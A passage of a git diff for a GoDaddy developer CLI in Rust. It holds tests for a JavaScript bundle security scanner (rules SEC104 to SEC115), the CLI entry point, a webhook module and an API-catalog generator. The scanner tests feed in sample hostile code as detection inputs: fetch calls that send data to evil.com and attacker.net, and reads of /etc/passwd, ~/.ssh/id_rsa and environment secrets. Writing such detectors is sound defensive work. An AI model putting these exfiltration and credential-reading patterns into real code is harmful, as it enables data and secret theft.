"SEC104"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec104_no_match_process_env() { + let findings = scan_bundle(r#"const val = process.env.KEY;"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC104"), + "unexpected SEC104: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC105 — native addons (two-pass) + // ----------------------------------------------------------------------- + + #[test] + fn sec105_require_bindings_with_dot_node() { + let content = r#"var b = require("bindings"); b("native.node");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC105"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec105_require_ffi_napi_with_dot_node() { + let content = r#"var ffi = require("ffi-napi"); ffi.Library("lib.node");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC105"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec105_import_bindings_with_dot_node() { + let content = r#"import bindings from "bindings"; const x = bindings("mod.node");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC105"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec105_no_signal_skips_rule() { + let findings = scan_bundle(r#"require("./addon.node");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC105"), + "SEC105 should not fire without signal: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC106 — module monkey-patching (two-pass) + // ----------------------------------------------------------------------- + + #[test] + fn sec106_require_module_with_load_override() { + let content = r#"var Module = require("module"); Module._load = function() {};"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC106"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec106_import_module_with_resolve_override() { + let content = r#"import Module from "module"; Module._resolveFilename = function() {};"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC106"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec106_require_cache_assignment() { + let content = r#"var Module = require("module"); require.cache["key"] = null;"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC106"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec106_delete_require_cache() { + let content = r#"var Module = require("module"); delete require.cache;"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC106"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec106_bracket_load_override() { + let content = r#"var M = require("module"); Module["_load"] = function() {};"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC106"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec106_no_signal_skips_rule() { + let findings = scan_bundle(r#"Module._load = function() {};"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC106"), + "SEC106 should not fire without module import: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC107 — inspector module (two-pass) + // ----------------------------------------------------------------------- + + #[test] + fn sec107_require_inspector_with_open() { + let content = r#"var inspector = require("inspector"); inspector.open(9229);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC107"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec107_require_node_inspector_with_wait() { + let content = + r#"var inspector = require("node:inspector"); inspector.waitForDebugger();"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC107"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec107_esm_import_inspector_with_open() { + let content = r#"import inspector from "inspector"; inspector.open();"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC107"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec107_inspector_url() { + let content = r#"var inspector = require("inspector"); console.log(inspector.url());"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC107"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec107_bracket_open() { + let content = r#"var inspector = require("inspector"); inspector["open"](9229);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC107"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec107_no_signal_skips_rule() { + let findings = scan_bundle(r#"inspector.open(9229);"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC107"), + "SEC107 should not fire without import: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC108 — external URLs (two-pass, warn) + // ----------------------------------------------------------------------- + + #[test] + fn sec108_require_https_with_url() { + // Use a trusted godaddy.com domain so SEC112 (block) does not also fire. + let content = + r#"var https = require("https"); https.get("https://api.godaddy.com/v1/");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC108"), + "findings: {findings:?}" + ); + assert!(!is_blocked(&findings), "SEC108 should be warn, not block"); + } + + #[test] + fn sec108_import_axios_with_url() { + let content = r#"import axios from "axios"; axios.post("https://evil.com/data", {});"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC108"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec108_fetch_with_https_url() { + let content = r#"import { request } from "https"; fetch("https://api.example.com");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC108"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec108_http_url() { + let content = r#"var http = require("http"); http.get("http://example.com");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC108"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec108_new_url_constructor() { + let content = + r#"var http = require("http"); const u = new URL("https://api.example.com");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC108"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec108_no_signal_skips_rule() { + let findings = + scan_bundle(r#"const url = "https://api.example.com";"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC108"), + "SEC108 should not fire without http/axios import: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC109 — large encoded blobs (warn, no signal) + // ----------------------------------------------------------------------- + + #[test] + fn sec109_large_base64_buffer_from() { + let b64 = "A".repeat(210); + let content = format!(r#"const x = Buffer.from("{b64}", "base64");"#); + let findings = scan_bundle(&content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC109"), + "findings: {findings:?}" + ); + // SEC113 (block) also fires on base64 content — just verify SEC109 itself is warn. + assert!( + findings + .iter() + .filter(|f| f.rule_id == "SEC109") + .all(|f| f.severity == Severity::Warn), + "SEC109 findings should have warn severity" + ); + } + + #[test] + fn sec109_large_base64_atob() { + let b64 = "B".repeat(210); + let content = format!(r#"const x = atob("{b64}");"#); + let findings = scan_bundle(&content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC109"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec109_large_hex_buffer_from() { + let hex = "a".repeat(410); + let content = format!(r#"const x = Buffer.from("{hex}", "hex");"#); + let findings = scan_bundle(&content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC109"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec109_short_base64_no_match() { + let b64 = "A".repeat(50); + let content = format!(r#"const x = Buffer.from("{b64}", "base64");"#); + let findings = scan_bundle(&content, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC109"), + "short base64 should not match SEC109: {findings:?}" + ); + } + + #[test] + fn sec109_short_hex_no_match() { + let hex = "a".repeat(100); + let content = format!(r#"const x = Buffer.from("{hex}", "hex");"#); + let findings = scan_bundle(&content, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC109"), + "short hex should not match SEC109: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC110 — sensitive fs/net/env ops (two-pass, warn) + // ----------------------------------------------------------------------- + + #[test] + fn sec110_require_net_with_connect() { + let content = r#"var net = require("net"); net.connect(80, "host");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); + assert!(!is_blocked(&findings), "SEC110 should be warn"); + } + + #[test] + fn sec110_require_node_net_with_create_connection() { + let content = r#"var net = require("node:net"); net.createConnection(80, "host");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec110_import_fs_with_process_env_bracket() { + let content = r#"import fs from "fs"; const key = process.env["API_KEY"];"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec110_process_env_dot_notation() { + let content = r#"var fs = require("fs"); const val = process.env.SECRET;"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec110_etc_passwd() { + let content = r#"var fs = require("fs"); fs.readFileSync("/etc/passwd");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec110_ssh_path() { + let content = r#"var fs = require("fs"); fs.readFileSync("~/.ssh/id_rsa");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec110_readfile_env() { + let content = r#"var fs = require("fs"); fs.readFile("config.env", "utf8", cb);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec110_readfile_sync_env() { + let content = r#"var fs = require("node:fs"); fs.readFileSync("app.env");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC110"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec110_no_signal_skips_rule() { + let findings = scan_bundle(r#"const val = process.env.KEY;"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC110"), + "SEC110 should not fire without net/fs import: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC111 — destructive fs operations (two-pass, block) + // ----------------------------------------------------------------------- + + #[test] + fn sec111_require_fs_with_unlink() { + let content = r#"var fs = require("fs"); fs.unlink("/tmp/file", cb);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC111"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec111_unlink_sync() { + let content = r#"var fs = require("node:fs"); fs.unlinkSync("/tmp/file");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC111"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec111_rmdir() { + let content = r#"var fs = require("fs"); fs.rmdir("/tmp/dir", cb);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC111"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec111_rm_via_esm_import() { + let content = r#"import fs from "fs"; fs.rm("/tmp/dir", { recursive: true }, cb);"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC111"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec111_fs_promises_with_unlink() { + let content = r#"import { unlink } from "fs/promises"; await unlink("/tmp/file");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC111"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec111_no_signal_skips_rule() { + let findings = scan_bundle(r#"fs.unlink("/tmp/file", cb);"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC111"), + "SEC111 should not fire without fs import: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC112 — untrusted domain requests (no signal, block) + // ----------------------------------------------------------------------- + + #[test] + fn sec112_untrusted_domain_blocked() { + let findings = scan_bundle(r#"fetch("https://evil.com/steal");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC112"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec112_http_untrusted_blocked() { + let findings = scan_bundle(r#"fetch("http://attacker.net/data");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC112"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec112_trusted_godaddy_subdomain_allowed() { + let findings = + scan_bundle(r#"fetch("https://api.godaddy.com/v1/products");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC112"), + "godaddy.com subdomain should be trusted: {findings:?}" + ); + } + + #[test] + fn sec112_trusted_godaddy_root_allowed() { + let findings = scan_bundle(r#"fetch("https://godaddy.com/path");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC112"), + "godaddy.com root should be trusted: {findings:?}" + ); + } + + #[test] + fn sec112_trusted_localhost_with_port_allowed() { + let findings = scan_bundle(r#"fetch("https://localhost:3000/api");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC112"), + "localhost should be trusted: {findings:?}" + ); + } + + #[test] + fn sec112_trusted_127_0_0_1_allowed() { + let findings = scan_bundle(r#"fetch("http://127.0.0.1/api");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC112"), + "127.0.0.1 should be trusted: {findings:?}" + ); + } + + #[test] + fn sec112_godaddy_lookalike_blocked() { + let findings = scan_bundle(r#"fetch("https://godaddy.com.evil.net/");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC112"), + "godaddy.com.evil.net should not be trusted: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC113 — any encoded payload (no signal, block) + // ----------------------------------------------------------------------- + + #[test] + fn sec113_atob_blocked() { + let findings = scan_bundle(r#"const x = atob("aGVsbG8=");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC113"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec113_buffer_from_base64_blocked() { + let findings = + scan_bundle(r#"const x = Buffer.from("shortval", "base64");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC113"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec113_buffer_from_hex_blocked() { + let findings = + scan_bundle(r#"const x = Buffer.from("deadbeef", "hex");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC113"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec113_buffer_from_utf8_allowed() { + let findings = + scan_bundle(r#"const x = Buffer.from("hello world", "utf8");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC113"), + "utf8 encoding should not match SEC113: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC114 — debugger statement (no signal, block) + // ----------------------------------------------------------------------- + + #[test] + fn sec114_debugger_blocked() { + let findings = scan_bundle("function x() { debugger; return 1; }", "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC114"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec114_debugger_word_boundary() { + let findings = scan_bundle(r#"const debuggerMode = true;"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC114"), + "debuggerMode should not match SEC114: {findings:?}" + ); + } + + // ----------------------------------------------------------------------- + // SEC115 — dynamic require/import (no signal, block) + // ----------------------------------------------------------------------- + + #[test] + fn sec115_dynamic_require_blocked() { + let findings = scan_bundle(r#"const m = require(userInput);"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC115"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); + } + + #[test] + fn sec115_dynamic_import_blocked() { + let findings = scan_bundle(r#"const m = await import(dynamicPath);"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC115"), + "findings: {findings:?}" + ); + } + + #[test] + fn sec115_static_require_allowed() { + let findings = scan_bundle(r#"const m = require("./module");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC115"), + "static string require should not match SEC115: {findings:?}" + ); + } + + #[test] + fn sec115_static_import_allowed() { + let findings = scan_bundle(r#"const m = await import("./module");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC115"), + "static string import should not match SEC115: {findings:?}" + ); + } + + #[test] + fn sec115_import_meta_not_matched() { + let findings = scan_bundle(r#"const url = import.meta.url;"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC115"), + "import.meta.url should not match SEC115: {findings:?}" + ); + } +} diff --git a/rust/src/main.rs b/rust/src/main.rs new file mode 100644 index 0000000..004e542 --- /dev/null +++ b/rust/src/main.rs @@ -0,0 +1,55 @@ +mod actions_catalog; +mod api_explorer; +mod application; +mod auth; +mod config; +mod env; +mod extension; +mod webhook; + +use std::{process::ExitCode, sync::Arc}; + +use clap::Arg; +use cli_engine::{BuildInfo, Cli, CliConfig}; + +use crate::env::get_env; + +#[tokio::main] +async fn main() -> ExitCode { + tracing_subscriber::fmt() + .with_env_filter(tracing_subscriber::EnvFilter::from_default_env()) + .with_writer(std::io::stderr) + .init(); + + let auth_provider = Arc::new(auth::GoDaddyAuthProvider::new()); + + let cli = Cli::new( + CliConfig::new("godaddy", "GoDaddy developer CLI", "godaddy") + .with_build(BuildInfo::new(env!("CARGO_PKG_VERSION"))) + .with_default_auth_provider("godaddy") + .with_auth_provider(auth_provider) + .with_register_flags(Arc::new(|cmd| { + cmd.arg( + Arg::new("env") + .long("env") + .global(true) + .value_name("ENV") + .default_value(get_env().unwrap_or_else(|| "ote".to_owned())) + .help("Target environment (ote|prod)"), + ) + })) + .with_apply_flags(Arc::new(|matches, mw| { + if let Some(env) = matches.get_one::("env") { + mw.env = env.clone(); + } + Ok(()) + })) + .with_module(actions_catalog::module()) + .with_module(api_explorer::module()) + .with_module(application::module()) + .with_module(env::module()) + .with_module(webhook::module()), + ); + + cli.execute().await +} diff --git a/rust/src/webhook/mod.rs b/rust/src/webhook/mod.rs new file mode 100644 index 0000000..c246085 --- /dev/null +++ b/rust/src/webhook/mod.rs @@ -0,0 +1,42 @@ +use cli_engine::{CommandResult, CommandSpec, GroupSpec, Module, RuntimeCommandSpec, RuntimeGroupSpec, Tier}; + +use crate::application::client::api_url_for_env; + +pub fn module() -> Module { + Module::new("GPA", |_ctx| { + RuntimeGroupSpec::new(GroupSpec::new("webhook", "Manage webhook event types")) + .with_command(RuntimeCommandSpec::new_with_context( + CommandSpec::new("events", "List available webhook event types") + .with_system("webhooks") + .with_tier(Tier::Read), + |ctx| async move { + let token = ctx + .credential + .as_ref() + .map(|c| c.token.clone()) + .unwrap_or_default(); + let base_url = api_url_for_env(&ctx.middleware.env); + let url = format!("{base_url}/v1/apis/webhook-event-types"); + let resp = crate::application::client::make_http_client() + .get(&url) + .bearer_auth(&token) + .header("x-request-id", uuid::Uuid::new_v4().to_string()) + .send() + .await + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(cli_engine::CliCoreError::message(format!( + "webhook events request failed ({status}): {body}" + ))); + } + let data: serde_json::Value = resp + .json() + .await + .map_err(|e| cli_engine::CliCoreError::message(e.to_string()))?; + Ok(CommandResult::new(data)) + }, + )) + }) +} diff --git a/rust/tools/generate-api-catalog/Cargo.toml b/rust/tools/generate-api-catalog/Cargo.toml new file mode 100644 index 0000000..33cdc24 --- /dev/null +++ b/rust/tools/generate-api-catalog/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "generate-api-catalog" +version = "0.1.0" +edition = "2024" +publish = false + +[dependencies] +anyhow = "1" +chrono = { version = "0.4", default-features = false, features = ["clock"] } +graphql-parser = "0.4" +reqwest = { version = "0.12", default-features = false, features = ["blocking", "json", "rustls-tls"] } +serde = { version = "1", features = ["derive"] } +serde_json = "1" +serde_yaml = "0.9" diff --git a/rust/tools/generate-api-catalog/src/main.rs b/rust/tools/generate-api-catalog/src/main.rs new file mode 100644 index 0000000..362a657 --- /dev/null +++ b/rust/tools/generate-api-catalog/src/main.rs @@ -0,0 +1,1352 @@ +use std::{ + collections::{HashMap, HashSet}, + path::{Path, PathBuf}, + process::Command, +}; + +use anyhow::{bail, Context, Result}; +use serde::{Deserialize, Serialize}; +use serde_json::Value; + +// --------------------------------------------------------------------------- +// Constants +// --------------------------------------------------------------------------- + +const GITHUB_ORG: &str = "gdcorp-platform"; +const GITHUB_API_BASE: &str = "https://api.github.com"; +const GITHUB_PAGE_SIZE: u32 = 100; + +const BOOTSTRAP_REPOS: &[&str] = &[ + "commerce.bulk-operations-specification", + "commerce.businesses-specification", + "commerce.catalog-products-specification", + "commerce.channels-specification", + "commerce.chargebacks-specification", + "commerce.customer-profiles-specification", + "commerce.fulfillments-specification", + "commerce.metafields-specification", + "commerce.onboarding-specification", + "commerce.orders-specification", + "commerce.payment-requests-specification", + "commerce.payments-specification", + "commerce.price-adjustments-specification", + "commerce.recommendations-specification", + "commerce.shipping-specification", + "commerce.stores-specification", + "commerce.subscriptions-specification", + "commerce.taxes-specification", + "commerce.transactions-specification", +]; + +const LEGACY_REPOS: &[&str] = &["location.addresses-specification"]; + +const HTTP_METHODS: &[&str] = &[ + "get", "post", "put", "patch", "delete", "options", "head", "trace", +]; + +// --------------------------------------------------------------------------- +// Output catalog types +// --------------------------------------------------------------------------- + +#[derive(Debug, Serialize)] +struct CatalogGraphqlArgument { + name: String, + #[serde(rename = "type")] + arg_type: String, + required: bool, + #[serde(skip_serializing_if = "Option::is_none")] + description: Option, + #[serde(rename = "defaultValue", skip_serializing_if = "Option::is_none")] + default_value: Option, +} + +#[derive(Debug, Serialize)] +struct CatalogGraphqlOperation { + name: String, + kind: String, + #[serde(rename = "returnType")] + return_type: String, + #[serde(skip_serializing_if = "Option::is_none")] + description: Option, + deprecated: bool, + #[serde(rename = "deprecationReason", skip_serializing_if = "Option::is_none")] + deprecation_reason: Option, + args: Vec, +} + +#[derive(Debug, Serialize)] +struct CatalogGraphqlSchema { + #[serde(rename = "schemaRef")] + schema_ref: String, + #[serde(rename = "operationCount")] + operation_count: usize, + operations: Vec, +} + +#[derive(Debug, Serialize)] +struct CatalogParameter { + name: String, + #[serde(rename = "in")] + location: String, + required: bool, + #[serde(skip_serializing_if = "Option::is_none")] + description: Option, + #[serde(skip_serializing_if = "Option::is_none")] + schema: Option, +} + +#[derive(Debug, Serialize)] +struct CatalogRequestBody { + required: bool, + #[serde(skip_serializing_if = "Option::is_none")] + description: Option, + #[serde(rename = "contentType")] + content_type: String, + #[serde(skip_serializing_if = "Option::is_none")] + schema: Option, +} + +#[derive(Debug, Serialize)] +struct CatalogResponse { + description: String, + #[serde(skip_serializing_if = "Option::is_none")] + schema: Option, +} + +#[derive(Debug, Serialize)] +struct CatalogEndpoint { + #[serde(rename = "operationId")] + operation_id: String, + method: String, + path: String, + summary: String, + #[serde(skip_serializing_if = "Option::is_none")] + description: Option, + #[serde(skip_serializing_if = "Option::is_none")] + parameters: Option>, + #[serde(rename = "requestBody", skip_serializing_if = "Option::is_none")] + request_body: Option, + responses: HashMap, + scopes: Vec, + #[serde(skip_serializing_if = "Option::is_none")] + graphql: Option, +} + +#[derive(Debug, Serialize)] +struct CatalogDomain { + name: String, + title: String, + description: String, + version: String, + #[serde(rename = "baseUrl")] + base_url: String, + endpoints: Vec, +} + +#[derive(Debug, Serialize)] +struct ManifestEntry { + file: String, + title: String, + #[serde(rename = "endpointCount")] + endpoint_count: usize, +} + +#[derive(Debug, Serialize)] +struct CatalogManifest { + generated: String, + domains: HashMap, +} + +// --------------------------------------------------------------------------- +// Internal types +// --------------------------------------------------------------------------- + +#[derive(Debug, Deserialize)] +struct GithubRepo { + name: String, + clone_url: String, + archived: bool, + disabled: bool, + private: bool, +} + +struct SpecSource { + domain: String, + repo_name: String, + spec_file: PathBuf, + spec_version: String, + graphql_only: bool, +} + +// --------------------------------------------------------------------------- +// GitHub discovery +// --------------------------------------------------------------------------- + +fn github_client() -> Result { + let mut headers = reqwest::header::HeaderMap::new(); + headers.insert( + reqwest::header::ACCEPT, + "application/vnd.github+json".parse().expect("valid header value"), + ); + headers.insert( + reqwest::header::USER_AGENT, + "godaddy-cli-api-catalog-generator".parse().expect("valid header value"), + ); + if let Ok(token) = std::env::var("GITHUB_TOKEN") { + let token = token.trim().to_owned(); + if !token.is_empty() { + let auth_value = format!("Bearer {token}").parse().context("invalid token")?; + headers.insert(reqwest::header::AUTHORIZATION, auth_value); + } + } + reqwest::blocking::Client::builder() + .default_headers(headers) + .build() + .context("failed to build HTTP client") +} + +fn list_repos_for_owner_path( + client: &reqwest::blocking::Client, + owner_path: &str, +) -> Result> { + let mut repos = Vec::new(); + let mut page = 1u32; + loop { + let url = format!( + "{GITHUB_API_BASE}/{owner_path}/{GITHUB_ORG}/repos?per_page={GITHUB_PAGE_SIZE}&page={page}&type=public&sort=full_name&direction=asc" + ); + let resp = client.get(&url).send().context("GitHub API request failed")?; + let status = resp.status(); + if status == 404 { + return Ok(Vec::new()); + } + if !status.is_success() { + bail!("GitHub API returned {} for {}", status, url); + } + let batch: Vec = resp.json().context("failed to parse GitHub repos")?; + let is_last = batch.len() < GITHUB_PAGE_SIZE as usize; + repos.extend(batch); + if is_last { + break; + } + page += 1; + } + Ok(repos) +} + +fn list_org_repos(client: &reqwest::blocking::Client) -> Vec { + match list_repos_for_owner_path(client, "orgs") { + Ok(repos) if !repos.is_empty() => return repos, + Ok(_) => {} + Err(e) => eprintln!("WARNING: GitHub orgs API failed: {e}"), + } + match list_repos_for_owner_path(client, "users") { + Ok(repos) => repos, + Err(e) => { + eprintln!("WARNING: GitHub users API also failed: {e}"); + Vec::new() + } + } +} + +// --------------------------------------------------------------------------- +// Repo/spec discovery helpers +// --------------------------------------------------------------------------- + +fn parse_version_dir(name: &str) -> Option> { + if !name.starts_with('v') { + return None; + } + name[1..] + .split('.') + .map(|s| s.parse::().ok()) + .collect::>>() +} + +fn find_latest_spec_file(repo_dir: &Path) -> Option<(String, PathBuf, bool)> { + let mut candidates: Vec<(Vec, String)> = std::fs::read_dir(repo_dir) + .ok()? + .filter_map(|e| e.ok()) + .filter(|e| e.file_type().map(|t| t.is_dir()).unwrap_or(false)) + .filter_map(|e| { + let name = e.file_name().to_string_lossy().into_owned(); + parse_version_dir(&name).map(|v| (v, name)) + }) + .collect(); + candidates.sort_by(|(a, _), (b, _)| a.cmp(b)); + + for (_, version) in candidates.iter().rev() { + for name in &["openapi.yaml", "openapi.yml", "openapi.json"] { + let p = repo_dir.join(version).join("schemas").join(name); + if p.exists() { + return Some((version.clone(), p, false)); + } + } + for name in &[ + "graphql/schema.graphql", + "schema.graphql", + ] { + let p = repo_dir.join(version).join("schemas").join(name); + if p.exists() { + return Some((version.clone(), p, true)); + } + } + } + None +} + +fn derive_domain(repo_name: &str) -> String { + let without_suffix = repo_name + .strip_suffix("-specification") + .unwrap_or(repo_name); + let without_prefix = without_suffix + .strip_prefix("commerce.") + .unwrap_or(without_suffix); + let slug = without_prefix.to_lowercase().replace('.', "-"); + let slug = regex_replace_all(r"[^a-z0-9-]", &slug, "-"); + let slug = regex_replace_all(r"-+", &slug, "-"); + slug.trim_matches('-').to_owned() +} + +fn regex_replace_all(pattern: &str, input: &str, replacement: &str) -> String { + // Simple character-class based replace using char iteration for our limited patterns. + match pattern { + r"[^a-z0-9-]" => input + .chars() + .map(|c| { + if c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-' { + c.to_string() + } else { + replacement.to_owned() + } + }) + .collect(), + r"-+" => { + let mut out = String::with_capacity(input.len()); + let mut in_dash = false; + for c in input.chars() { + if c == '-' { + if !in_dash { + out.push_str(replacement); + in_dash = true; + } + } else { + in_dash = false; + out.push(c); + } + } + out + } + _ => input.to_owned(), + } +} + +fn git_run(args: &[&str]) -> Result<()> { + let status = Command::new("git") + .args(args) + .status() + .context("failed to run git")?; + if !status.success() { + bail!("git {} exited with {}", args.join(" "), status); + } + Ok(()) +} + +fn clone_repo(clone_url: &str, target: &Path, git_ref: Option<&str>) -> Result<()> { + git_run(&[ + "clone", + "--depth", + "1", + "--quiet", + clone_url, + &target.to_string_lossy(), + ])?; + if let Some(r) = git_ref { + git_run(&[ + "-C", + &target.to_string_lossy(), + "fetch", + "--depth", + "1", + "origin", + r, + ])?; + git_run(&["-C", &target.to_string_lossy(), "checkout", "--quiet", "FETCH_HEAD"])?; + } + Ok(()) +} + +fn parse_repo_overrides() -> Option> { + let raw = std::env::var("API_CATALOG_REPOS").ok()?; + let repos: Vec = raw + .split(',') + .map(str::trim) + .filter(|s| !s.is_empty()) + .map(str::to_owned) + .collect(); + if repos.is_empty() { None } else { Some(repos) } +} + +fn parse_repo_ref_overrides() -> HashMap { + let raw = match std::env::var("API_CATALOG_REPO_REFS") { + Ok(v) => v, + Err(_) => return HashMap::new(), + }; + let mut map = HashMap::new(); + for entry in raw.split(',') { + let entry = entry.trim(); + if let Some(eq) = entry.find('=') { + let repo = entry[..eq].trim().to_owned(); + let git_ref = entry[eq + 1..].trim().to_owned(); + if !repo.is_empty() && !git_ref.is_empty() { + map.insert(repo, git_ref); + 